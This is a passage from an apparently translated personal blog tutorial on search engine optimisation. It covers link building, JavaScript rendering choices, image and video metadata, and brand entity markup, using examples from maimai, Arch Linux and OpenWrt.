&lt;li&gt;Share a piece of trivia nobody else has mentioned: &quot;actually, the BPM listed for this song in maimai is wrong; the accurate value should be 225.555555555, which also explains why the DX score for this song is relatively hard to hit — the inaccurate BPM causes drift. My personal guess is that xi&apos;s sequencer had a BPM error when composing&quot;
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;7.2.3 Building authority and trustworthiness A-T&lt;/h4&gt;
&lt;p&gt;&lt;strong&gt;Cite authoritative sources&lt;/strong&gt;: when your Arch Linux tutorial mentions a certain configuration, link to the corresponding page on the Arch Wiki&lt;br /&gt;
&lt;strong&gt;Expert review&lt;/strong&gt;: if your OpenWrt tutorial was reviewed and corrected by another big shot in the networking field, you can note at the start of the article: &quot;This article was guided by xx to ensure technical accuracy&quot;&lt;/p&gt;
&lt;h2&gt;8. Authority Building&lt;/h2&gt;
&lt;p&gt;The core of authority is improving a site&apos;s credibility through external links &lt;code&gt;Backlinks&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;8.1 Modern Link Building Strategies&lt;/h3&gt;
&lt;h4&gt;8.1.1 Create &lt;code&gt;Linkable Assets&lt;/code&gt;:&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
You could build an &lt;strong&gt;online tool&lt;/strong&gt;: a &quot;&lt;strong&gt;maimai DX Rating Calculator&lt;/strong&gt;&quot; where users enter relevant information to calculate a single song&apos;s Rating. Practical tools like this are natural link magnets
:::&lt;/p&gt;
&lt;h4&gt;8.1.2 &lt;code&gt;Digital PR&lt;/code&gt;&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
You wrote a piece on &lt;em&gt;Using Samsung One UI 8&lt;/em&gt;, with detailed test data. You can proactively send this report to well-known tech media or geeks, and they&apos;ll likely cite your data and article
:::&lt;/p&gt;
&lt;h4&gt;Fixing dead links&lt;/h4&gt;
&lt;p&gt;:::blue[EXAMPLE]
You&apos;re migrating your blog from Astro to Hexo, but after the migration you find the root directory is wrong and search engines still reference the old links, so users arriving from search results get a 404. You need to set up 301 redirects from the old links to the new ones; otherwise a large-scale 404 breakdown may lower your SEO score
:::&lt;/p&gt;
&lt;h3&gt;8.2 Off-site Reputation and Brand Signal Building&lt;/h3&gt;
&lt;h4&gt;8.2.1 Establish a brand entity&lt;/h4&gt;
&lt;p&gt;Make sure your brand (your blog name or your name) has clear, consistent entries on major knowledge platforms and industry directories&lt;/p&gt;
&lt;h4&gt;8.2.2 Manage third-party reviews&lt;/h4&gt;
&lt;p&gt;If your content involves tools or services, encourage users to leave positive reviews on the relevant platforms&lt;/p&gt;
&lt;h4&gt;8.2.3 Participate in industry communities&lt;/h4&gt;
&lt;p&gt;In subreddits like &lt;code&gt;r/openwrt&lt;/code&gt; or &lt;code&gt;r/archlinux&lt;/code&gt; on Reddit, or in tech communities like V2EX, actively answer other people&apos;s questions and, when appropriate, include a link to your article as a reference
&lt;strong&gt;Remember: contribute value first, promote content second&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;9. JavaScript SEO&lt;/h2&gt;
&lt;p&gt;For anyone studying modern frontend frameworks, JS SEO is a required course. A SPA that looks gorgeous in the user&apos;s browser may be nothing but a blank &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; in the eyes of a search engine crawler; we need to learn to ensure our gorgeousness can be correctly understood by machines&lt;/p&gt;
&lt;h3&gt;9.1 CSR &amp;amp; SSR &amp;amp; SSG&lt;/h3&gt;
&lt;p&gt;First, we need to understand how Google&apos;s crawler &lt;code&gt;Googlebot&lt;/code&gt; handles JavaScript. It has a component called the &lt;strong&gt;Web Rendering Service&lt;/strong&gt;, essentially a headless browser. The crawling process has two waves:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;First wave&lt;/strong&gt;: Googlebot crawls your raw HTML; if the content is all in the HTML, it&apos;s sent straight to indexing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Second wave&lt;/strong&gt;: if the page needs JS to generate content, the page is placed in a rendering queue. Days or even weeks later, the WRS executes the JS, renders the final DOM, and sends the rendered HTML to indexing&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;9.1.1 Client-Side Rendering&lt;/h4&gt;
&lt;p&gt;The server returns only an almost blank HTML shell and a huge JS bundle. The browser (or WRS) downloads and executes the JS, then requests data through APIs, and finally renders the content onto the page. This is the default mode of &lt;code&gt;create-react-app&lt;/code&gt; or &lt;code&gt;vue-cli&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;:::yellow[Characteristics]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Indexing delay&lt;/strong&gt;: your content has to queue for the second rendering wave, so indexing can be extremely slow. For news or other time-sensitive content, this is fatal&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Risk of rendering failure&lt;/strong&gt;: if your JS code has bugs, network requests time out, or the code is so complex that WRS execution times out, rendering fails. The result: Google indexes a &lt;strong&gt;blank or incomplete page&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Crawl budget consumption&lt;/strong&gt;: rendering requires enormous compute resources, which consumes your crawl budget. Google may be unwilling to invest much in a small site that requires complex rendering
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;9.1.2 Server-Side Rendering&lt;/h4&gt;
&lt;p&gt;When a user&apos;s request reaches the server, the server executes React/Vue code in the backend, fetches data, generates the complete HTML, and returns that HTML to the browser. The browser receives a page that already contains all the content. The core feature of frameworks like Next.js and Nuxt.js is SSR&lt;/p&gt;
&lt;p&gt;:::yellow[Characteristics]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Instant indexing&lt;/strong&gt;: Googlebot gets the complete HTML with all content during the first crawl wave, with no need to wait for rendering, so indexing is very fast&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;High reliability&lt;/strong&gt;: avoids the various uncertainties of client-side environments&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Better performance metrics&lt;/strong&gt;: typically faster FCP and LCP, friendly to user experience and Core Web Vitals
:::&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;9.1.3 Static Site Generation&lt;/h4&gt;
&lt;p&gt;At &lt;strong&gt;build time&lt;/strong&gt;, a pure HTML file is generated in advance for each page. All the server has to do is simple file serving. Gatsby, Astro, and the static export modes of Next.js/Nuxt.js are all SSG&lt;/p&gt;
&lt;p&gt;:::yellow[Characteristics]
&lt;strong&gt;Has all the advantages of SSR, and the best performance of the three&lt;/strong&gt;, with extremely fast server response&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Suitable for&lt;/strong&gt;: blogs, documentation, portfolios, marketing sites and other sites whose content doesn&apos;t change often. For your blog, &lt;strong&gt;SSG is the optimal choice both technically and for SEO&lt;/strong&gt;.
:::&lt;/p&gt;
&lt;h3&gt;9.2 Dynamic Rendering&lt;/h3&gt;
&lt;p&gt;At the server level, decide what content to return by identifying the request&apos;s &lt;code&gt;User-Agent&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the &lt;code&gt;User-Agent&lt;/code&gt; is an ordinary user&apos;s browser, return the regular CSR application&lt;/li&gt;
&lt;li&gt;If the &lt;code&gt;User-Agent&lt;/code&gt; is Googlebot or another crawler, the server uses middleware (such as Rendertron) to render your JS app into static HTML, then returns that HTML to the crawler&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::yellow[Why it was abandoned]
This was once Google&apos;s recommended approach, but it is now considered a &lt;strong&gt;stopgap&lt;/strong&gt;. It increases system complexity and maintenance cost, and risks being misjudged as cloaking (i.e. showing crawlers and users different content)&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Unless you have a massive legacy CSR project you can&apos;t refactor, you should prefer SSR or SSG&lt;/strong&gt;
:::&lt;/p&gt;
&lt;h4&gt;9.3 JS SEO debugging tools&lt;/h4&gt;
&lt;p&gt;How do you determine what Google actually sees? Don&apos;t guess; verify with tools&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Google Search Console - URL Inspection Tool&lt;/strong&gt;
:::blue[Procedure]
Enter the URL you want to check at the top of GSC, then click &quot;&lt;strong&gt;Test Live URL&lt;/strong&gt;&quot;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;After the test completes, click &quot;&lt;strong&gt;View Tested Page&lt;/strong&gt;&quot;. You&apos;ll see three tabs:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;HTML&lt;/strong&gt;: this is the &lt;strong&gt;raw&lt;/strong&gt; HTML crawled by Googlebot&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Screenshot&lt;/strong&gt;: &lt;strong&gt;this is a screenshot of the page after WRS rendering, the true face of your site&lt;/strong&gt;. If it&apos;s blank or incomplete here, your JS rendering has a serious problem&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;More Info&lt;/strong&gt;: shows whether page resources (JS/CSS) failed to load, whether there are errors in the JS console, and other information — a direct clue for troubleshooting rendering failures
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Chrome browser - Mobile-Friendly Test&lt;/strong&gt;
This is a public tool that even non-site-owners can use. Its underlying rendering engine is the same as Googlebot&apos;s. You can quickly preview here what the page looks like in Google&apos;s eyes&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;9.4 Writing crawler-friendly JS code&lt;/h3&gt;
&lt;p&gt;Even if you choose CSR, you can reduce the risk of rendering failure through some best practices&lt;/p&gt;
&lt;h4&gt;9.4.1 Avoid hash routing&lt;/h4&gt;
&lt;p&gt;In traditional hash routing (such as &lt;code&gt;xice.cx/#/page&lt;/code&gt;), the &lt;code&gt;#&lt;/code&gt; and everything after it are not sent to the server, and Googlebot may not handle it well. Always use History API URLs (such as &lt;code&gt;xice.cx/page&lt;/code&gt;), which is also the default in all modern frontend frameworks&lt;/p&gt;
&lt;h4&gt;9.4.2 Provide real &lt;code&gt;&amp;lt;a href=&quot;...&quot;&amp;gt;&lt;/code&gt; links&lt;/h4&gt;
&lt;p&gt;Don&apos;t simulate page navigation with a &lt;code&gt;&amp;lt;div&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;span&amp;gt;&lt;/code&gt; plus an &lt;code&gt;onClick&lt;/code&gt; event. Crawlers can only discover new links through standard &lt;code&gt;&amp;lt;a&amp;gt;&lt;/code&gt; tags and the &lt;code&gt;href&lt;/code&gt; attribute
```jsx
// ×××××错误×××××
&amp;lt;span onClick={() =&amp;gt; navigate(&apos;/openwrt-guide&apos;)}&amp;gt;OpenWrt 指南&amp;lt;/span&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// ×××××爆赞×××××
&amp;lt;a href=&quot;/openwrt-guide&quot; onClick={handleNavigate}&amp;gt;OpenWrt 指南&amp;lt;/a&amp;gt;
```
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;9.4.3 Handle content injection carefully&lt;/h4&gt;
&lt;p&gt;Don&apos;t load core content only after the user scrolls or clicks. Make sure the page&apos;s main content is available after the &lt;code&gt;onLoad&lt;/code&gt; event&lt;/p&gt;
&lt;h4&gt;9.4.4 Handle API errors well&lt;/h4&gt;
&lt;p&gt;If your page content depends on API calls, make sure your code handles API request failures gracefully instead of crashing and causing the entire page to fail rendering. Consider fetching key data on the server side or at build time to reduce client-side API dependencies&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;10. Image and Video SEO&lt;/h2&gt;
&lt;p&gt;In the text-centric SEO world of blogs, images and videos are often overlooked. However, for visual content such as maimai DX hand-cams, or landscape galleries that need lots of screenshots, rich media is the core of the content itself, and the gateway to two enormous traffic pools: Google image search and video search&lt;/p&gt;
&lt;h3&gt;10.1. Image SEO&lt;/h3&gt;
&lt;p&gt;Search engines aren&apos;t human; they can&apos;t truly see what&apos;s in an image (AI image recognition is improving, but it&apos;s nowhere near something you can fully rely on). They depend on the &lt;strong&gt;metadata&lt;/strong&gt; you provide to understand images&lt;/p&gt;
&lt;h4&gt;10.1.1. File Name&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bad examples&lt;/strong&gt;: &lt;code&gt;IMG_8888.jpg&lt;/code&gt;, &lt;code&gt;screenshot-1.png&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Awesome&lt;/strong&gt;: &lt;code&gt;maimai-dx-Xaleid_ScopiX-sssp-rank.webp&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;The file name is the first and most direct clue a search engine has about an image&apos;s content. Use short, descriptive English words separated by hyphens &lt;code&gt;-&lt;/code&gt;. It should clearly state what the image is&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;10.1.2 Alt text&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;alt&lt;/code&gt; attribute is the most important SEO element in the &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; tag. Its primary purpose is &lt;strong&gt;accessibility&lt;/strong&gt;&lt;br /&gt;
When an image fails to load or a user uses a screen reader, the &lt;code&gt;alt&lt;/code&gt; text is displayed or read aloud. Search engines use it as the core basis for understanding image content&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Bad examples&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;Omitting the &lt;code&gt;alt&lt;/code&gt; attribute.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=&quot;...&quot; alt=&quot;图片&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Keyword stuffing: &lt;code&gt;&amp;lt;img src=&quot;...&quot; alt=&quot;舞萌DX maimai DX 谱面 XaleidscopiX xi&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Awesome&lt;/strong&gt;:&lt;/li&gt;
&lt;/ul&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;&amp;lt;img src=&quot;...&quot; alt=&quot;一名玩家正在游玩舞萌DX的谱面《Xaleid_ScopiX》并达成SSS+评价的结算画面&quot;&amp;gt;&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;In one sentence, clearly describe the content and context of the image to someone who can&apos;t see it.&lt;/strong&gt; It should naturally include keywords, but absolutely not stuff them&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;10.1.3. Image dimensions and performance&lt;/h4&gt;
&lt;p&gt;Huge images are the main culprit for slow LCP&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Responsive Images&lt;/strong&gt;&lt;br /&gt;
Use the &lt;code&gt;&amp;lt;picture&amp;gt;&lt;/code&gt; tag or the &lt;code&gt;srcset&lt;/code&gt; and &lt;code&gt;sizes&lt;/code&gt; attributes of &lt;code&gt;&amp;lt;img&amp;gt;&lt;/code&gt; to serve differently sized images for devices with different screen sizes and resolutions&lt;pre&gt;&lt;code&gt;&amp;lt;img srcset=&quot;openwrt-config-small.jpg 480w,
             openwrt-config-large.jpg 1080w&quot;
     sizes=&quot;(max-width: 600px) 480px,
            1080px&quot;
     src=&quot;openwto-config-large.jpg&quot;
     alt=&quot;OpenWrt防火墙配置的后台截图&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This ensures phone users aren&apos;t forced to download large desktop images, greatly improving mobile loading speed&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Next-generation image formats&lt;/strong&gt;&lt;br /&gt;
Use &lt;code&gt;WebP&lt;/code&gt; or &lt;code&gt;AVIF&lt;/code&gt; whenever possible. At equal visual quality, their file size is typically 30% or more smaller than JPEG or PNG&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Lazy loading&lt;/strong&gt;&lt;br /&gt;
For images below the fold, use the native &lt;code&gt;loading=&quot;lazy&quot;&lt;/code&gt; attribute.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&quot;arch-linux-step-10.jpg&quot; loading=&quot;lazy&quot; alt=&quot;...&quot;&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;This lets the browser start loading an image only when it&apos;s about to enter the viewport, greatly improving initial page load speed
:::&lt;/p&gt;
&lt;h4&gt;10.1.4. Image Sitemaps&lt;/h4&gt;
&lt;p&gt;If images are the core content of your site (say, a photography portfolio), or your images are loaded via JavaScript, creating a separate image sitemap helps Google discover and index them better&lt;/p&gt;
&lt;p&gt;In &lt;code&gt;sitemap.xml&lt;/code&gt;, add an &lt;code&gt;&amp;lt;image:image&amp;gt;&lt;/code&gt; tag to each URL entry, providing the image&apos;s URL, title, caption and other information&lt;/p&gt;
&lt;h3&gt;10.2 Video SEO&lt;/h3&gt;
&lt;p&gt;Video results usually take up huge space on the search page and are very eye-catching. A well-optimized video is a powerful tool for earning a high click-through rate&lt;/p&gt;
&lt;h4&gt;10.2.1 Video hosting&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;YouTube&lt;/strong&gt;&lt;br /&gt;
YouTube itself is a huge traffic source; videos uploaded to YouTube naturally have higher display weight in Google search, and you don&apos;t have to worry about bandwidth or playback experience&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;bilibili&lt;/strong&gt; and other video platforms&lt;br /&gt;
Better suited to the mainland China audience; no need to worry about bandwidth or playback experience&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Self-hosting&lt;/strong&gt;:
Full control, no ads, a customizable player — but you have to handle video hosting, CDN distribution and player compatibility yourself, and you lose the huge traffic brought by YouTube/bilibili and the ranking advantage in Google&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;10.2.2. Video structured data&lt;/h4&gt;
&lt;p&gt;This is the &lt;strong&gt;core&lt;/strong&gt; of video SEO. By deploying &lt;code&gt;VideoObject&lt;/code&gt; Schema on your page, you can explicitly tell Google everything about the embedded video&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;name&lt;/code&gt;: the video title (should be descriptive and contain keywords)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;description&lt;/code&gt;: the video description (a detailed introduction to the video content)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;thumbnailUrl&lt;/code&gt;: URL of the video thumbnail (an attractive thumbnail is crucial)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;uploadDate&lt;/code&gt;: the upload date.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;duration&lt;/code&gt;: video duration (ISO 8601 format, e.g. &lt;code&gt;PT1M30S&lt;/code&gt; means 1 minute 30 seconds)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;contentUrl&lt;/code&gt;: URL of the video file itself (if self-hosted)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code&gt;embedUrl&lt;/code&gt;: the video&apos;s embed player URL (e.g. YouTube&apos;s embed URL)&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &quot;@context&quot;: &quot;https://schema.org&quot;,
  &quot;@type&quot;: &quot;VideoObject&quot;,
  &quot;name&quot;: &quot;【maimai外部出力】PANDORA PARAODXXX 101%&quot;,
  &quot;description&quot;: &quot;这是一位玩家游玩maimai时录制的PANDORA PARADOXXX 101%理论值的手元视频，提供了手元参考&quot;,
  &quot;thumbnailUrl&quot;: &quot;https://cdn.chongxi.us/thumbnails/pandora101.jpg&quot;,
  &quot;uploadDate&quot;: &quot;1919-08-10T11:45:14+08:00&quot;,
  &quot;duration&quot;: &quot;PT2M28S&quot;,
  &quot;embedUrl&quot;: &quot;https://www.youtube.com/embed/qwq&quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;:::&lt;/p&gt;
&lt;h4&gt;10.2.3. Key Moments / Video Chapters&lt;/h4&gt;
&lt;p&gt;Key Moments are timestamped chapter navigation that Google displays in video search results. They let users jump directly to the parts of a video they&apos;re most interested in, greatly improving user experience and click-through rate&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;In the &lt;strong&gt;description area&lt;/strong&gt; of your YouTube video, write down your video chapters in the format &lt;code&gt;timestamp + chapter title&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Must&lt;/strong&gt; start from &lt;code&gt;00:00&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;At least 3 timestamps are required&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;```
(0:00) intro
(0:52) 天苍苍野茫茫风吹草低见牛羊
(1:13) 我有玉米症
(2:12) 登神长阶
```
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;When users search for related content on Google, clickable chapter links such as &lt;code&gt;登神长阶&lt;/code&gt; may appear directly below your video result
:::&lt;/p&gt;
&lt;h4&gt;10.2.4. Video Sitemaps&lt;/h4&gt;
&lt;p&gt;Similar to image sitemaps, if your site has a lot of video content, creating a video sitemap helps Google discover it more comprehensively&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;11. Brand Signals and Entities&lt;/h2&gt;
&lt;p&gt;So far, all of our optimization has stayed within the realm of &lt;code&gt;string matching&lt;/code&gt;&lt;br /&gt;
But the ultimate goal of search engines is to understand Things, not Strings.&lt;br /&gt;
They strive to build a vast database about everything in the real world: the knowledge graph&lt;/p&gt;
&lt;h3&gt;11.1 What is an entity&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;String&lt;/strong&gt;: &quot;composer xi&quot;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Entity&lt;/strong&gt;: an ID (such as &lt;code&gt;/m/114_514&lt;/code&gt;), and this ID is associated with a set of &lt;strong&gt;attributes&lt;/strong&gt; and &lt;strong&gt;relationships&lt;/strong&gt;:&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;- Name: xi
- Occupation: composer
- Nationality: Japan
- Affiliation: Diverse System
- Representative works: Freedom Dive, Ascention to Heaven

- Attended: BOF
- Works included in: iidx, sdvx, maimai...
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When Google can understand xi like this, it can answer more complex user queries, such as &quot;which xi songs are included in iidx?&quot;.&lt;/p&gt;
&lt;p&gt;Our goal is to help Google build such an entity profile for &lt;strong&gt;you or your internet assets&lt;/strong&gt; as well&lt;/p&gt;
&lt;h3&gt;11.2 How to build your brand entity&lt;/h3&gt;
&lt;h4&gt;11.2.1 Define yourself with Schema.org&lt;/h4&gt;
&lt;p&gt;This is the most direct, most controllable step. Through structured data, you are submitting an &lt;strong&gt;entity declaration&lt;/strong&gt; about yourself to Google&lt;/p&gt;
&lt;p&gt;:::blue[EXAMPLE]
You should deploy this Schema on your &lt;strong&gt;core pages&lt;/strong&gt; (such as the homepage and About Me page), not on every article&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;    ```json
    {
      &quot;@context&quot;: &quot;https://schema.org&quot;,
      &quot;@type&quot;: &quot;Person&quot;,
      &quot;name&quot;: &quot;Chongxi&quot;, // 你的名字或网名
      &quot;url&quot;: &quot;/about&quot;, // 指向你&quot;关于我&quot;页面的URL
      &quot;sameAs&quot;: [ // 这是关键！用它来关联你在全网的其他身份
        &quot;https://github.com/ChongxiSama&quot;,
        &quot;https://twitter.com/@CEPATO&quot;,
        &quot;https://space.bilibili.com/500042199&quot;
      ],
      &quot;description&quot;: &quot;一位兴趣爱好十分广泛的个人开发者&quot;,
      &quot;knowsAbout&quot;: [ // 声明你的专业领域
        &quot;Linux&quot;,
        &quot;Web dev&quot;,
        &quot;Web3&quot;,
        &quot;Network Engineering&quot;
      ]
    }
    ```
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;sameAs&lt;/code&gt; attribute is crucial. It acts like a &lt;strong&gt;foreign key relationship&lt;/strong&gt;, helping Google consolidate the fragments of your identity across different platforms under a single entity&lt;/li&gt;
&lt;li&gt;Make sure &lt;code&gt;name&lt;/code&gt; stays highly consistent across all your online identities
:::&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;11.2.2 External validation&lt;/h4&gt;
&lt;p&gt;Google won&apos;t just take your word for it. It needs to find information about you from neutral third-party data sources it already trusts, in order to cross-verify&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Find &lt;code&gt;Seed Sites&lt;/code&gt;&lt;/strong&gt;&lt;br /&gt;
A large part of Google&apos;s initial knowledge graph data comes from large, structured knowledge bases like &lt;strong&gt;Wikipedia, Wikidata and DBpedia&lt;/strong&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;:::blue[EXAMPLE]
&lt;strong&gt;Wikipedia&lt;/strong&gt;&lt;br /&gt;
If your (or your project&apos;s) achievements and notability already meet Wikipedia&apos;s &lt;strong&gt;notability guidelines&lt;/strong&gt; (for example, extensive coverage by multiple independent, reliable sources), then creating a Wikipedia entry is the strongest signal for building an entity. The bar is very high, but the power is enormous&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Industry authority directories&lt;/strong&gt;&lt;br /&gt;
Does a recognized authoritative database or community exist in your field?&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;For &lt;strong&gt;xi&lt;/strong&gt;, his entries on various wikis are strong sources of entity verification
For an &lt;strong&gt;open-source project&lt;/strong&gt;, its repo on GitHub and its page on &lt;code&gt;SourceForge&lt;/code&gt; are its proof
For a &lt;strong&gt;tech blogger&lt;/strong&gt;, your high-reputation profile on &lt;code&gt;Stack Overflow&lt;/code&gt; and the projects you&apos;ve contributed to on &lt;code&gt;GitHub&lt;/code&gt; are all external validation signals
&lt;strong&gt;What you should do&lt;/strong&gt;: go to these authoritative third-party platforms in your field, create and complete your profile or project page, and make sure the information (especially your name/brand name) matches what your site declares
:::&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h4&gt;11.2.3 Site-wide reinforcement&lt;/h4&gt;
&lt;p&gt;Once your entity is initially established, Google will start looking for &lt;strong&gt;conversations&lt;/strong&gt; about you across the web&lt;/p&gt;
&lt;h5&gt;11.2.3.1 Linkless brand mentions&lt;/h5&gt;
&lt;p&gt;When someone on a website or forum mentions your name or blog name (e.g. &quot;I read Chongxi&apos;s solution yesterday about not being able to make calls on a Samsung phone with Surfing — it was really helpful&quot;), even &lt;strong&gt;without any link attached&lt;/strong&gt;, Google&apos;s natural language processing models can recognize that this is discussing your entity&lt;/p&gt;
&lt;p&gt;:::blue[BLUE]
Google analyzes the &lt;strong&gt;context&lt;/strong&gt; and &lt;strong&gt;sentiment&lt;/strong&gt; of mentions of your entity&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Positive context&lt;/strong&gt;: if your name often appears together with words like &quot;recommend&quot;, &quot;thanks&quot;, &quot;solved my problem&quot;, &quot;great post&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Negative context&lt;/strong&gt;: if it often appears with &quot;outdated&quot;, &quot;wrong&quot;, &quot;not recommended&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;These signals are aggregated as a basis for evaluating your entity&apos;s &lt;strong&gt;reputation&lt;/strong&gt; and &lt;strong&gt;influence&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;You can:
&lt;strong&gt;Encourage discussion&lt;/strong&gt;: at the end of your articles, don&apos;t just say &quot;comments welcome&quot;; you can say &quot;if you run into any problems with this configuration, feel free to ask in the comment section below or on V2EX/Reddit with the URL of my blog&quot;
&lt;strong&gt;Actively participate in communities&lt;/strong&gt;: contribute valuable answers in relevant tech communities under your own name. Every high-quality post of yours reinforces your personal brand entity across the web
&lt;strong&gt;Monitor your brand mentions&lt;/strong&gt;: use Google Alerts or other brand monitoring tools to track where your name is mentioned across the web. This not only helps you understand what people think of you, but also uncovers potential link-building opportunities (for example, you can contact site owners who mentioned you without linking and politely ask them to add a link)
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Traditional SEO has you think &lt;strong&gt;how do I rank my page higher?&lt;/strong&gt;&lt;br /&gt;
Now it asks you to think about a bigger question: &lt;strong&gt;how do I make Google and the whole world recognize that I am a trusted, authoritative source of knowledge in the Arch Linux field?&lt;/strong&gt;&lt;br /&gt;
Once you&apos;ve successfully built yourself into an entity, you&apos;ll find your rankings become extremely solid, and you&apos;ll start ranking for related queries you haven&apos;t even specifically optimized for. Because Google is no longer recommending one of your articles — it&apos;s recommending &lt;strong&gt;you&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;hr /&gt;
&lt;h2&gt;12. International SEO&lt;/h2&gt;
